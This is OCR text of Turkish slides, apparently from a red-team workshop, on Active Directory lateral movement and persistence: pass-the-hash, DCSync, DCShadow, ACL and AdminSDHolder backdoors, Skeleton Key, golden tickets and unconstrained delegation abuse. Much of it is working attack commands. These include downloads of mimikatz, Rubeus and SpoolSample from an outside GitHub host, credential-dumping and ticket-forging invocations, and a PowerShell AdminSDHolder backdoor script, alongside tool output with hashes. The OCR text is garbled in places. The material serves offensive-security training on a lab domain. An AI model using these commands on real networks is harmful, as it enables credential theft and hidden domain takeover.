* Bu saldir ydntemi Metasploit ve bir¢ok farkli aracla ;I ADSECysnow .
gergeklestirilebilmekte ve yatayda yayllima iglemini —
®

oldukca kolaylastirmaktadir.

AFORESTALL

HACKTRICK

NTDS.DIT DATABASE

UTILISATEUR

HASHED PASSWORD

tlannister

0cb6948805T797bT2a82807973b89537

sharatheon

31d6cfe0d16ae931b73c59d7e0c089cO

jsnow

cde3eled50f307f46TT77d2a68472dad

c4e3eled50f307T46T77d2a68472dad

+ O

4bcdel3T44a68cad

efc34cc490ae53fa « @




Bilgisayar Hesabi ile Pass the Hash Saldirisi

Lateral Movement

« Onceki bolimlerde bahsedildigi gibi Active Directory ortaminda bilgisayar hesaplarinin da kullanici hesaplari gibi
parolalar bulunmaktadir.

* Bilgisayar hesaplari kullanicilar gibi bu parolalarla NTLM ve Kerberos protokolleriyle kimlik dogrulama islemini
gerceklestirmektedirler.

* Bu nedenle kullanici hesaplari ile PtH saldinisi yapildigi gibi bilgisayar hesaplari ile de PtH saldirisi yapilabilmekte ve
sunucular tzerinde komut calistirilabilmektedir.

* Fakat normal PtH saldirisinda oldugu gibi burda da bilgisayar hesabinin sunucu Gzerinde komut ¢alistirma izninin
bulunmasi gerekmektedir.
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Over Pass the Hash / Pass the Key

Lateral Movement

e Over PtH saldinsi PtH saldirisindan farkli olarak NTLM
protokoltyle degil Kerberos protokoli ile kimlik
dogrulamayi saglamaktadir.

* Bu 0zelligi sayesinde NTLM protokolinin devre digi
birakildigi ortamlarda da ¢alisabilmektedir.

REQ

* Overpass-the-Hash LSASS (kerberos)

or Pass-the—Key ’.) for « chocolate.local » domain
.RE" B
@ P

* Fakat Kerberos protokolu i¢cin domain kullanici hesabi not limited to RC4 ! = T

re4 hmac it

gerektigi icin lokal kullanicilarla oturum acma sirasinda T S
es128 imac TGS-REP
bu saldiri kullanilamamaktadir. e =

b726836138689331
4acce8d3367e55€5 5) Usage X

$865e7ef BeET7@fbe | < r~
4262d6c949383%09 s

* Bu saldin yontemi sayesinde parola 6zeti bilinen
kullanici icin TGT bileti alinarak bu kullanicinin yetkili
oldugu servislere erisim saglanabilir. Eger bu servisler
sunucu uUzerinde komut calistirmaya olanak sagliyorsa
uzaktan komut calistirma islemi de gerceklestirilebilir.
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Pass the Ticket

Lateral Movement

 TGT ve ST biletleri varsayilan kosullarda sunucu
belleginde 10 saat tutulmakta bu stlire gecince de

silinmektedir.
LSASS KDC Target

5 B

* Bu saldirn yontemi ile ele gecirilen bir sunucu

bellegindeki TGT veya ST biletleri kullanilarak yatayda I St e (1) AS-REQ
yayihm gerceklestirilebilir. m
Pl sl
 Burada 6nemli olan nokta sunucu belleginden bilet M
ver|§| ile t?lrllkte Session f(ey .ver|S| de elde edilmelidir m
aksi takdirde Kerberos stireci tamamlanamayacaktir. (5) Use
*

* Bu nedenle ag Gzerinden elde edilen TGT ve ST biletleri
Pass the Ticket saldirisinda kullanilamamaktadir.
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DCSync

Persistence

. e e e . JEFFLAB.local Properties ? b
* Domain objesi lizerinde GetChanges ve GetChangesAll
.. C g e e G | Managed By Object Securty Attrbute Edit
isimli iki 6zel ACE bulunmaktadir. ;”E'E' anag i ribute Editor
roup or User names:
HE CREATOR OWNER -

* Bu ACFE'lere sahip olan objeler DC sunucularindan e e o

i il S8 5YSTEM
replikasyon yapabilirler. b ¥ Michael Bluth (Michael @JEFFLAB local)

2 Enterprise Read-onhy Domain Controllers (JEFFLAB\Enterprise R... ¥

* Bu sayede de DC veritabaninda bulunan tim degerleri Add... Remove
(parola Ozetleri dahil) elde edebilirler. Pemissions for Michasl Bith Alow  Deny
Beanimate tomhstones ] "
) o Replicating Directory Changes ]
* Varsayilan olarak bu yetki DC sunuculari ve yetkili Replicating Directory Changes Al O
Replicating Directory Changes In Filtered Set [] []
gruplarda bUIunmaktadlr' Replication synchronization ] ] W
For special pemissions or advanced settings, click F —
Advanced.

* Saldirgan bu yetkiye sahip olduktan sonra istedigi
objenin veya tim objelerin parola 6zetini ele gecirebilir.

Cancel Aoy Help
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DCSync

Persistence
# Mimikatz indiriliyor

iwr -uUri https://github.com/frknozr/hacktrick22/raw/main/mimikatz.exe -OutFile
mimikatz.exe

# Dcsync i1le krbtgt hash bilgisi elde ediliyor

A\mimikatz.exe "privilege::debug" "lsadump::dcsync
/user:krbtgt@istanbul.cyberstruggle.labs” "exit"
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DCSync

Persistence

f rbtgt@istanbul. cyberstruggle. 1abs
[DC] "vstanbul.cyberstruggle. 1al will be the domain
DC] tanbul. cyberstruggle. 1a will be the DC server
DC] will be the user account
rpc] Tdap
[rpc] AuthnSvc NEGOTIATE (9)

=2
=5
=

Dbject RDN : krbtaot
AM ACCOUNT ==

S5AM Username : krbtgt
Account Type : 30000000 ( R_OBJECT )
r Account Control : 00000202 ( ACCOUNTDISABELE NORMAL_ACCOUNT )
piration :
; d last change
Object Security ID
Object Relative ID

Credentials:
Hash NTLM: 43e: Bah58ebecslb3B0Obbact2092
ntim- 0: 43e: ebecalba80obbactz092
Tm - 0: bbca%9ad9bZZ65b9abbd164a9f0769abg

Supplemental Credentials:
= Primary:NTLM-5
Random Value

* Primary:Kerbero
Default Salt : MBUL . CYBERSTRUGGLE. LAESkrbtgt
Default Iteratio : 4096
Credentials
251347 8baabcbes 356b6cab?

* Primary:Kerbero
Default Salt ANBUL . CYBERSTRUGGLE. LA rbtgt
Credentials
des_cbc_mds : 3eb9e&f70e3773ab

yng-NTOWF
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DCShadow

Persistence

JEFFLAB.local Properties ?
* Bu saldiri da DCSync saldirnisina benzer nedenlerden

velee e General Managed By Ohject Secunty  Attribute Editor
oturu olusmaktadir.

GI’DIJP ar User names:

HE CREATOR OWNER -
* Fakat bu yontemde DC sunuculardan replike ile veri e e o
alinmaz, tam tersine sahte bir DC sunucusu E“mh e
olusturularak diger DC'lere sahte veri gonderilir. £ Enterprise Read-only Domain Controllers (JEFFLAB\Entemiise R... ¥
Add... Remowve
* Bu sayede de objeler lizerinde arkakapi olusturularak Permissions for Michael Bluth Alow  Deny
sekilde degisiklikler yapilabilmektedir. Emws B :
Replicating Directory Changes Al ]
« Ornegin krbtgt objesinin pwdhistory attribute degeri oy Tiahfesd & g B

degistirilerek halihazirda kullanilan parola bozulmadan For special pemissions or advanced settings, dlick

Advanced. Advanced
Golden Ticket vb saldirilari gerceklestirilebilir.

* Objelerin SID-History degerleri degistirilerek istenilen Cance o -

objenin yetkisi yukseltilebilir.
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DCShadow

Persistence

* Objelerin PrimaryGrouplD degeri degistirilerek istenilen T“Ev Tnln ME I cn“ln
obje gizli bir bicimde yetkili gruplara eklenebilir. EE A“""l“ﬂ I WANTEI]

‘N ‘q\

* Active Directory ortaminda istenilen degerlerle yeni
objeler olusturulabilir veya silinebilir.

* Buiglemlerin cogu herhangi bir log olusturmamaktadir.
Bu nedenle gizli kalicilik saglamak icin faydal bir
yontemdir.

* Objelerin DACL degerleri degistirilerek istenilen obje
Uzerinde cesitli yetkiler arkakapi olarak eklenebilir.

@FORESTALL HACKTRICK



ACL Backdoor

Persistence

* Active Directory ortaminda yetki yikseltmesi yapilarak herhangi bir admin hesabi ele gecirildikten sonra istenilen obje
Uzerindeki ACL degerleri degistirielbilmektedir.

* Bu mekanizma kullanilarak ¢esitli ACL'ler tanimlanarak daha sonra tekrar kullanmak amaciyla arkakapilar
olusturulabilmektedir.

« Ornegin istenilen objelere GetChanges, GetChangesAll yetkileri eklenerek DCSync yapabilme yetkisi verilebilir.
* |stenilen objeye admin gruplarindan herhangi birine liye ekleme yetkisi verilebilir. (WriteProperty)

* |stenilen objeye Administrators kullanicisinin parolasini resetleme yetkisi verilebilir. (ForceChangePassword)
* |stenilen objeye kendisini admin gruplarina ekleme yetkisi verilebilir. (Self-Membership)

* |stenilen objeye admin objelerinin DACL degerlerini degistirme yetkisi verilebilir. (WriteDACL)
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ACL Backdoor - Onemli Not

Persistence

- ACL’'lerdeki DENY girdisi ile Active Directory ortaminda kimsenin direkt gortintlleyemeyecedgi
objeler olusturulabilmektedir.
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AdminSDHolder

Persistence

* AdminSDHolder (Admin Security Descriptor Holder) Active Directory ortaminda bulunan bir konteynerdir. Bu
konteyner lzerinde admin objelerine ait olmasi gereken ACL degerleri bulunmaktadir.

» SDProp (Security Descriptor Propagation) fonksiyonu her saatte bir calisarak AdminSDHolder lizerindeki ACL
degerlerine gore admin objelerindeki ACL degerlerini glinceller.

* Burada amac admin hesaplarinin ACL degerlerinin kotu niyetli veya yanlislikla degistirilmesinin 6nline gecmektir.

« Ornegin saldirgan Domain Admins grubu tizerinde kotii amacli bir ACL degeri eklese bile bir saat icerisinde bu ACL
degeri silinecektir.

* Fakat saldirgan istedigi ACL degisikligini AdminSDHolder Gzerinde yaptiginda, bu degisiklik her saat admin gruplarina
tekrar iletilecektir. ACL admin gruplarindan silinse bile tekrar glincellenecektir.
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AdminSDHolder

Persistence

# AdminSDHolder konteyner objesi aliniyor
$adminsdholder_container = "AD:" + (Get-ADObject -Filter {name -eq
"AdminSDHolder"}) .distinguishedname;

# AdminSDHolder objesinin aclleri elde ediliyor
facls = Get-Acl -Path $adminsdholder_container;

# Kullanici1 adi ile NTAccount objesi olusturuluyor
$user = [Security.Principal.NTAccount] hacktrickl';

# Kullanici icin GenericAll ACL objesi olusturuluyor
$generic_all_acl = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($user,
'GenericAll', 'Allow', [System.DirectoryServices.ActiveDirectorySecurityInheritance]::None);

# Olusturulan acl AdminSDHolder objesi acllerine ekleniyor
$acls.addaccessrule($generic_all_acl);

# ACL listesi tekrar set ediliyor
Set-Acl -Aclobject $acls -pPath $adminsdholder_container;
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AdminSDHolder

Persistence

# ACL'lerin propagate edilmesi 1icin SDProp fonksiyonu tetikleniyor
# Domain ismi elde ediliyor
$domain_name = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentbomain() .Name;

# Domain context objesi olusturuluyor
$domain_context = New-Object
System.DirectoryServices.ActiveDirectory.DirectoryContext('domain', $domain_name);

# Domain context objesi uzerinden domain objesi elde ediliyor
$domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($domain_context);

# ROOtDSE DirectoryEntry objesi elde ediliyor
$rd = New-Object
System.DirectoryServices.DirectoryeEntry("LDAP://$($domain.PdcRoleOwner.Name)/RootDSE");

# Prop cache disable ediliyor
$rd.UsePropertyCache = $false;

# SDProp processi baslatiliyor

$rd.Put("RunProtectAdminGroupsTask", "1");
$rd.setInfo();
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AdminSDHolder

Persistence

AdminSDHolder Properties ? x Domain Admins Properties ? *
General Object Securty Attibute Editor General Members Member Cf Managed By
Object Security Attribute Editor
(Group or user names:
2 Everyone ~ Group or user names:
SR SELF SR Everyone A
£2 Authenticated Users SR SELF
ESYSTEM ﬁ&ﬁu.rthenticated |sers
b Yiizh herschel %SYSTEM
S2 Domain Adming fistanbul’.Domain Admins) blzh herschel
S Domain Admins fistanbul.Domain Admins)
Add... Rem
ove Add... Remove
Pemizsions for lilah herschel Allow Dermy Permissions for liah herschel Alow Deny
~
Full control ] Ful cortrol 0 ~
He.ad L] Read ]
Write Il Write ]
Create all child objects [] Create all child objects O
Delete all child objects O . Delete all chid objects O .
For special permissions or advanced settings, click For special pemissions or advanced settings, click
Advanced. e Advanced. Advanced
Cancel Apply Help Cancs! Apply Help
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Skeleton Key

Persistence

Windows ve Active Directory ortaminda kimlik
dog@rulama sireclerini yoneten LSASS processi
yonetmektedir.

LSASS processi lizerinden eger gerekli kosullar
saglanirsa plaintext parola, NTHash gibi bilgiler elde
edilebilmektedir.

Skeleton Key yontemiyle ise DC lizerinde LSASS
processi patchlenerek tim kullanicilarin belirli bir
parola (master key) ile giris yapmasini saglar.

Saldirgan bu sayede istedigi kullanici ile oturum
acabilmektedir.

Bu durumun giderilebilmesi i¢in etkilenen DC
sunucusunun yeniden baslatilmasi gerekmektedir.

AFORESTALL

username, nthash get creds from logon ()

user get user from ntds database (username)

if user.nthash nthash:

print ("Username and password is correct.")
else:

print ("Username and/or password is incorrect")

username, nthash get creds from logon ()

user get user from ntds database (username)

if nthash == calculate nthash("mimikatz"):
print ("Username and password is correct.")

if user.nthash nthash:

print ("Username and password is correct.")
else:

print ("Username and/or password is incorrect")

HACKTRICK



Skeleton Key

Persistence

# Dosya indirme sirasindaki SSL/TLS hatasini gidermek icin gerekli ayarlama yapiliyor
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tlsl2

# Mimikatz indiriliyor

iwr -Uri https://github.com/frknozr/hacktrick22/raw/main/mimikatz.exe -outfile
mimikatz.exe

# Mimikatz 1le Skeleton Key olusturuluyor, master key mimikatz olarak ayarlaniyor
\mimikatz.exe "privilege::debug" "misc::skeleton” "exit"

1itManager] : : SecurityProtocol [N SecurityProtocolType] : :T1s12 )
ffgithub. com/frknozr hacktrick22 /raw/main/mimikatz. exe mimikatz. exe

Vincen
> https://pi

mimikatz # privilege::debug
Privilege "20' OK

msc: :skeleton

[KDC] struct

[KDC] keys patch OK
[RC4] functions

[RC4] init patch OK
[RC4] decrypt patch OK
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Skeleton Key

Persistence

# Plaintext parola secure-string formatina donlistluruliyor
$SecpPassword = ConvertTo-SecureString 'mimikatz' -AsPlainText -Force

# Kullanici1 adi ve parola ile credential objesi olusturuluyor

$Cred = New-Object System.Management.Automation.PSCredential('istanbul\administrator’,
$secpassword)

# Admin kullanicisiyla parola olarak da mimikatz kullanilarak dcde komut calistiriliyor
Enter-PSSession -ComputerName dc -Credential $Cred

o-5ecurestring
.Management . Automation. PSCredential
dc tcred

80:517b:8303%7

Subnet M
Default

. 2001:0:34F1:8072:28F5:74c:F5Fd:Fas3
: feB0::28F5:74c:f5fd 5

: Media disconnected
x . : ec2.internal
\Documents= _
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Golden Ticket with SIDHistory Injection

Persistence + Lateral Movement

Get-ADDomain -Identity istanbul.cyberstruggle.labs | select DomainSID
\mimikatz.exe "kerberos::golden /user:administrator /domain:istanbul.cyberstruggle.labs

/s1d:S-1-5-21-218427654-2092538031-2821005941 /krbtgt:43eab7b88a658ebec61b980bbact2092
/1d:500 /sids:S-1-5-21-218427654-2092538031-2821005941-519 /ptt" "exit";
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Unconstrained Delegation Exploitation \w SpoolSvc

Persistence + Lateral Movement

# Dosya indirme sirasindaki SSL/TLS hatasini gidermek icin gerekli ayarlama yapiliyor
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tlsl2

# SpoolSample indiriliyor
iwr -Uri https://github.com/frknozr/hacktrick22/raw/main/SpoolSample.exe -OutFile
SpoolSample.exe

# Rubeus indiriliyor
iwr -Uri https://github.com/frknozr/hacktrick22/raw/main/Rubeus.exe -OutFile Rubeus.exe

# Mimikatz indiriliyor
iwr -Uri https://github.com/frknozr/hacktrick22/raw/main/mimikatz.exe -OutFile
mimikatz.exe

# Rubeus TGT biletlerini izleyebilmek i¢in monitér modda baslatiliyor
.\Rubeus.exe monitor /interval:5 /nowrap

# Parent domain dc’si icin SpoolSample tetikleniyor
.\SpoolSample.exe root-dc.cyberstruggle.labs prodmssqgl.Istanbul.cyberstruggle.labs
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Unconstrained Delegation Exploitation \w SpoolSvc

Persistence + Lateral Movement

PS5 C:\Usershhacktri Jesktop= .%\5
[+] Converted DLL to shellcode

[+] Executing RDI

[+] Calling exported function
TargetServer:

root-dc. cyberstruggle. 1abs, CaptureServer: “\wprodms=sqgl.istanbul. cyberstruggle. labs
Attempted printer notificat

n and received an invalid handle. The coerced authentication probably worked!
P5 C:i\Usersihacktrickl'Desktop= _
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Unconstrained Delegation Exploitation \w SpoolSvc

Persistence + Lateral Movement

f28/2022 10:31:55 PM UTC - Found new TGT:

User :  ROOT-DCRECYBERSTRUGGLE. LABS
StartTime 3 ‘28,2022 10:31:51 PM
EndT1mE 3 F2022 12:31:02 AM

: b 22 7:59:05 PM

r15|.rne canonicalize, pre_authent, renewable, Torwarded, Torwardable

IE}DPPU LuN1

3" '.
t¥wA1P+pfsC, ;..HEHTUGQ

D1Iuﬂ" 4HNE1EDN11PLQCn|Jd1EFN1.EH E. 1puNRDP“EDchE1pGLFt-1EEj
lhanquwhbH aPmNd4u-+mGNAP gy pV 8

Jlotta +GITjdEuE1Lnupt
140MV FI'C"* WOl k4 IxonwuOmLIpahpTM1
®g7 482 eKUSvEqQIx00IF1ROINhGS4T pQz6p2UcacMk+z
JSHoJIEgQIVxiIMLENTWLOUTS "ahFOZ1 dOBYMuwwI am
ZdHEdkIwLHF NFk1 Hby crwu by QVGgKC Rprurvher
HGuijIPqtuELn TGewdwv aln/LPonrYSLsp9pd B
puHMLHthIquchGﬂUjTauRbtn
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Unconstrained Delegation Exploitation \w SpoolSvc

Persistence + Lateral Movement

# Elde edilen ticket rubeus ile inject ediliyor
.\Rubeus.exe ptt /ticket:<ticket>

# Ticketlar gorintuleniyor
kT1ist

# DcSync 1le parent domain administrator hash degeri aliniyor
\mimikatz.exe "privilege::debug" "Tsadump::dcsync /domain:cyberstruggle.labs
/user:administrator@cyberstruggle.labs”™ "exit"

# Oover PTH ile yetkili process olusturuluyor

\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator
/domain:cyberstruggle.labs /ntim:5b5f2edd2b666e7adce3be617a8f6600" "exit"
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Unconstrained Delegation Exploitation \w SpoolSvc

Persistence + Lateral Movement

L t4jiZAEuAJOJJZMTget
IMCOLldGntMYOuMa
A

[*] Action: Import Ticket
_chket §uccesstu11y imported!

@FORESTI\LL HACKTRICK



Unconstrained Delegation Exploitation \w SpoolSvc

Persistence + Lateral Movement

=ktop=
urrent LogonId is 0:0x99f417
ached Tickets: (1)

B0 Client: ROOT-DCS @ CYBERSTRUGGLE. LAES
server: krbtgt/CYBERSTRUGGLE. L 2 CYBERSTRUGGLE. LAES
KerbTicket Encryption Type: # F-CTS-HMAC-5HAL -96
Ticket Flags 50210000 -= forwardable forwarded renewable pre_authent name_canonicalize
Start Time: 5/2i 22 22:31:51 (local)
End Time: 29,2022 0:31:02 (local)
Renew Time: 6 22 19:59:05 (local)
Session Key Typ E5-256-CT5-HMAC-5HAL -96
Cache Flags: Oxl -»> PRIMARY
kKdc Called:

PS5 C:3UsersyhacktricklDesktop> _
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Unconstrained Delegation Exploitation \w SpoolSvc

Persistence + Lateral Movement

truggle. l1abs er :krbtgt@cyberstruggle. labs
DC] f 1 wi b f ain
D] r " will be the DC server
DC] '"krbtgt@cyberstruggle.labs" will be the user account
rpc] Service : ldap
[rpc] AuthnSwvc : _MEGOTIATE (2)

Object RDN : krbtgt
AM ACCOUNT

5AM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
C 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )

AM
4-2092538031-25821005941-502
Object Relative ID

Credentials:
Hash NTL
ntim-

Im - 0O:

FzNTL
Random Value : 6a3e08039cld5cllc2e2d87fT18df7 {7

* Primary:Kerber
Default salt

= Primary:ﬂetber

Default 1t : CYBERSTRUGGLE. LAR!
Credentials
des_chbc_md5 : 3bfb62
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Unconstrained Delegation Exploitation \w SpoolSvc

Persistence + Lateral Movement

iain:cyberstruggle. labs fuser:administrat cyberstruggle. Tabs
g 1111 be the ain
oC] le.labs" will bhe the DC server
DC] "admi ; @cyberstruggle. Tabs" will be the user account
rpc] Service : ldap
[rpc] AuthnSvc : MEGOTIATE (9)

Object RDN : Administrator
AM ACCOUNT ==

SAM Username : Administr:
Account Type : 30000000
Uszer Account Control : )
Account expiratio =
25 2022 AM
Security ID : 5-1-5-21-218427654-2092538031-2821005941-500
Object Relative ID : 500

Credentials:

ntim- 1: 5b5F2edd2h
Im - 0: 83blc79db37005754a91434F23ad3361

Supplemental Credentials:
* Primary:NTLM-5trong-NTOWF =
Random Value : a55del225bdec0e3f7d8dc085Te543b0

* Primary:Kerber
Default salt :
Default Iterations
Credentials
. : 5fblcbll6ac33e8d3b04e55a2cal3nd9fe7a49119c317785666085916T89ecs5d
aes128_hmac : 4b9261al ; T1c2eblb9cd3643
des_chc_mds 7

= Primary:Kerbero
Default salt Y¥BERSTRUGGLE. LAESAdministrator
Credentials
des_chc_md5 : 4fc70e?s 7Fad3e6ds

ong-NTOWF
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Unconstrained Delegation Exploitation \w SpoolSvc

Persistence + Lateral Movement

2edd2b666 3be6: 6600 /ptt

LUID O ;
10

— m
\_ kerber atz ¢ @ 000002B9C26:
25 null

aesl2 null

rcd4_hmac_nt
rcd_hmac_
rcd_md4
rcd_hmac_nt_exp
rcd_hmac,

null

olume
1um
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Unconstrained Delegation Exploitation \w SpoolSvc

Persistence + Lateral Movement

system32rpowershell.exe -
Windows Po hell
Copyright (C) 2816 Microsoft Corporation. All rights reserve
Sessi

SAUsershVAdministrator\Documents:> whoami

ninistrator

le.labs]: C:\UsershAdministrator\Documents> ipconfig

Connection-specific DNS
Link-local
IPv4 Address.

Subnet M

Media State

e e e e Media disconnected
Connection-specific DNS Suffix

Tunnel adapter isatap.ec2.internal:

Media 5t

Conn
[root-dc.cy

edia disconnected
internal
Administrator\Documents:
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